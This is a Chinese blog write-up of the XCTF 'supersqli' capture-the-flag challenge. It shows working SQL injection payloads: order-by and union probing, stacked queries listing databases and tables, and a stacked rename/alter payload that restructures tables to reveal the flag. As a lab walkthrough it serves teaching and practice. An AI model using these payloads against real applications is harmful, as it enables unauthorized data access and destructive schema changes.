攻防世界supersqli

supersqli
补充知识点
rename 命令格式: rename table 原表名 to 新表名
例如,在表myclass名字更改为youclass:
mysql>rename table myclass to youclass;
alter和change,使用change子句,语法有很大的不同。在change关键字之后,紧跟着的是你要修改的字段名,然后指定新字段名及类型,例子
mysql> alter table testalter_tbl change i j int

补充完成了这两个知识点我们来看题目

进入环境输入1a我们正常得到回显

在这里插入图片描述

所以判定为字符型sql注入,判断数据库有多少列

1' order by 3#

回显不正常,但by2回显正常确定为两列

-1' union select 1,2#

当使用联合注入判断回显位置的时候发现绊掉了一些关键字

在这里插入图片描述

我这里想使用堆叠注入来完成题目,我们使用show指令来查看数据库

1';show databases;#

在这里插入图片描述

接下来我们来show一下表

1';show tables;#

在这里插入图片描述

然后我们来看一下表的结构

-1';desc words;--+

在这里插入图片描述

1';desc `1919810931114514`;--+

在这里插入图片描述

根据这两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

此时会想到禁用的函数并没有过滤掉rename和alert,所以我们可以采用修改表结构的方法来得到flag将words表明改为words1,再将数字名改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

1';rename table `words` to `words1`;rename table `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

然后我们用这个语句即可查出flag

1' or 1 = 1#

得到flag

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值